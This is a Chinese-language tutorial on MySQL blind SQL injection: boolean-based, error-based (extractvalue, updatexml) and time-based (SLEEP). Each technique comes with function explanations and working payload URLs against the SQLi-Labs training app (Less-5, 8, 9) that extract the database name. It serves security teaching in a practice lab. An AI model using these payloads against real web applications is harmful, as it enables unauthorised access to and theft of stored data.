SQL注入 - MySQL 盲注
- 1. 基于布尔 SQL 盲注
- 1.1 LEFT() 函数
- 1.1.1 介绍:
- 1.1.2 注入语法:
- 1.1.3 案例 (SQLi-Labs:Less-8)
- 1.2 ASCII() 函数 + SUBSTR() 函数
- 1.2.1 介绍:
- 1.2.2 注入语法:
- 1.2.3 案例 (SQLi-Labs:Less-8)
- 1.3 ORD() 函数 + MID() 函数
- 1.3.1 介绍:
- 1.3.2 注入语法:
- 1.3.3 案例 (SQLi-Labs:Less-8)
- 1.4 REGEXP 正则表达式
- 1.4.1 介绍:
- 1.4.2 注入语法:
- 1.4.3 案例 (SQLi-Labs:Less-8)
- 1.5 LIKE 操作符
- 1.4.1 介绍:
- 1.4.2 注入语法:
- 1.4.3 案例 (SQLi-Labs:Less-8)
- 2. 基于报错 SQL 盲注
- 2.1 extractvalue报错注入
- 注入语句:
- 案例 (SQLi-Labs:Less-5)
- 2.2 updatexml报错注入
- 注入语句:
- 案例 (SQLi-Labs:Less-5)
- 3. 基于时间 SQL 盲注
- 3.1 IF() + ASCII() + SUBSTR() + SLEEP()
- 注入语句:
- 案例 (SQLi-Labs:Less-9)
1. 基于布尔 SQL 盲注
- 用于报错无错误回显,但与正常返回的数据长度不一致。
1.1 LEFT() 函数
1.1.1 介绍:
-
LEFT()函数是用于从字符串的左边截取指定长度字符的函数。
LEFT(str, length)
参数:str 示要截取的字符串。
参数:length 表示要截取的长度。
1.1.2 注入语法:
AND LEFT(DATABASE(),1) = 's' # DATABASE() -> 当前数据库名称
译:截取当前数据库第一个字符,判断是否等于
s
1.1.3 案例 (SQLi-Labs:Less-8)
-
正常访问回显:
-
异常访问回显:
-
构造Payload:
http://www.sqlilabs.kay.com/Less-8/?id=1' AND LEFT(DATABASE(),1) = 's' --+
- 语句为True返回正常回显,语句为False返回异常回显
译:LEFT(DATABASE(),1) = ‘s’,判断当前数据库名称第一个字符是否为s,是则为True,否则为False。
1.2 ASCII() 函数 + SUBSTR() 函数
1.2.1 介绍:
-
ASCII() 函数返回特定字符的 ASCII 值。
ASCII(character)
参数:character 必需。要为其返回 ASCII 值的字符。 如果输入多个字符,则只返回第一个字符的值
-
SUBSTR() 函数从字符串中提取子字符串(从任意位置开始)。
注释: SUBSTR() 和 MID() 函数等于 SUBSTRING( )函数。
SUBSTR(string, start, length) OR: SUBSTR(string FROM start FOR length)
参数:string 必需。要从中提取的字符串
参数:start 必需。起始位置。 可以是正数或负数。 如果是正数,则此函数从字符串的开头提取。 如果是负数,此函数从字符串的末尾提取
参数:length 可选。要提取的字符数。 如果省略,将返回整个字符串(从 start 位置开始)
1.2.2 注入语法:
AND ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115
译:截取当前数据库第一个字符然后转换成
ASCII
码判断是否等于115
1.2.3 案例 (SQLi-Labs:Less-8)
-
正常访问回显:
-
异常访问回显:
-
构造Payload:
http://www.sqlilabs.kay.com/Less-8/?id=1' AND ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115 --+
- 语句为True返回正常回显,语句为False返回异常回显
译:ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,判断当前数据库名称第一个字符的
ASCII
码是否为115,是则为True,否则为False。
1.3 ORD() 函数 + MID() 函数
1.3.1 介绍:
-
ORD() 函数返回特定字符的 ASCII 值。
ORD(character)
参数:character 必需。要为其返回 ASCII 值的字符。 如果输入多个字符,则只返回第一个字符的值
-
MID() 函数从字符串中提取子字符串(从任意位置开始)。
注释: MID() 和 SUBSTR() 函数等于 SUBSTRING( )函数。
MID(string, start, length)
OR:
MID(string FROM start FOR length)
参数:string 必需。要从中提取的字符串
参数:start 必需。起始位置。 可以是正数或负数。 如果是正数,则此函数从字符串的开头提取。 如果是负数,此函数从字符串的末尾提取
参数:length 可选。要提取的字符数。 如果省略,将返回整个字符串(从 start 位置开始)
1.3.2 注入语法:
AND ORD(MID((SELECT DATABASE()),1,1)) = 115
译:截取当前数据库第一个字符然后转换成
ASCII
码判断是否等于115
1.3.3 案例 (SQLi-Labs:Less-8)
-
正常访问回显:
-
异常访问回显:
-
构造Payload:
http://www.sqlilabs.kay.com/Less-8/?id=1' AND ORD(MID((SELECT DATABASE()),1,1)) = 115 --+
- 语句为True返回正常回显,语句为False返回异常回显
译:ORD(MID((SELECT DATABASE()),1,1)) = 115,判断当前数据库名称第一个字符的
ASCII
码是否为115,是则为True,否则为False。
1.4 REGEXP 正则表达式
1.4.1 介绍:
-
REGEXP函数是MySQL中用于进行正则表达式匹配的函数。
expr REGEXP pattern
其中,
expr
为要匹配的表达式,pattern
为正则表达式模式。如果expr
符合pattern
指定的模式,则返回1;否则返回0。需要注意的是,REGEXP函数是区分大小写的。 -
基本的正则表达式模式
在MySQL中,可以使用一些基本的正则表达式模式来定义匹配的规则。以下是一些常见的正则表达式模式:
.
:代表任意单个字符。*
:代表前一个字符可以出现0次或多次。+
:代表前一个字符可以出现1次或多次。^
:代表匹配字符串的开始位置。$
:代表匹配字符串的结束位置。
1.4.2 注入语法:
AND (SELECT DATABASE() REGEXP '^[a-z]')
译:判断当前数据库名称开头是否是
a-z
范围内
1.4.3 案例 (SQLi-Labs:Less-8)
-
正常访问回显:
-
异常访问回显:
-
构造Payload:
http://www.sqlilabs.kay.com/Less-8/?id=1' AND (SELECT DATABASE() REGEXP '^[a-z]') --+
- 语句为True返回正常回显,语句为False返回异常回显
译:(SELECT DATABASE() REGEXP ‘^[a-z]’),判断当前数据库名称第一个字符是否为
a-z
范围内,是则为True,否则为False。
-
我们后续只需要更换
REGEXP
表达式即可。‘^[a-z]’ -> ‘^s[a-z]’ -> ‘^se[a-z]’ -> ‘^sec[a-z]’ -> ‘^secu[a-z]’ -> ‘^secur[a-z]’ -> ‘^securi[a-z]’ -> ‘^securit[a-z]’ -> ‘^security[a-z]’ -> FALSE
1.5 LIKE 操作符
1.4.1 介绍:
-
LIKE
运算符在WHERE
子句中用于搜索列中的指定模式。LIKE pattern
pattern
是用于匹配的模式,可以包含通配符。- 百分号 (%) 表示零个、一个或多个字符
- 下划线符号 (_) 代表一个,单个字符
1.4.2 注入语法:
AND (SELECT DATABASE() LIKE 's%')
译:判断当前数据库名称开头是否为
s
范围内
1.4.3 案例 (SQLi-Labs:Less-8)
-
正常访问回显:
-
异常访问回显:
-
构造Payload:
http://www.sqlilabs.kay.com/Less-8/?id=1' AND (SELECT DATABASE() LIKE 's%') --+
- 语句为True返回正常回显,语句为False返回异常回显
译:(SELECT DATABASE() LIKE ‘s%’),判断当前数据库名称第一个字符是否为
s
范围内,是则为True,否则为False。
2. 基于报错 SQL 盲注
- 用于报错有错误回显。
2.1 extractvalue报错注入
注入语句:
AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e)))
案例 (SQLi-Labs:Less-5)
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (extractvalue(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))) --+
2.2 updatexml报错注入
注入语句:
AND (updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1))
案例 (SQLi-Labs:Less-5)
http://www.sqlilabs.kay.com/Less-5/?id=1' AND (updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)) --+
3. 基于时间 SQL 盲注
- 用于报错无错误回显,与正常返回的数据长度一致。
3.1 IF() + ASCII() + SUBSTR() + SLEEP()
注入语句:
AND IF(ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,SLEEP(5),0)
译:当
IF
语句为True
时,页面返回延时5
秒
案例 (SQLi-Labs:Less-9)
http://www.sqlilabs.kay.com/Less-9/?id=1' AND IF(ASCII(SUBSTR((SELECT DATABASE()),1,1)) = 115,SLEEP(5),0)--+
- 其他判断语句:
IF(LENGTH(DATABASE())=8,SLEEP(5),0)
判断数据名称长度是否为8
个字符IF((SELECT DATABASE() LIKE 's%'),SLEEP(5),0)
判断数据库名第一个字符是否为s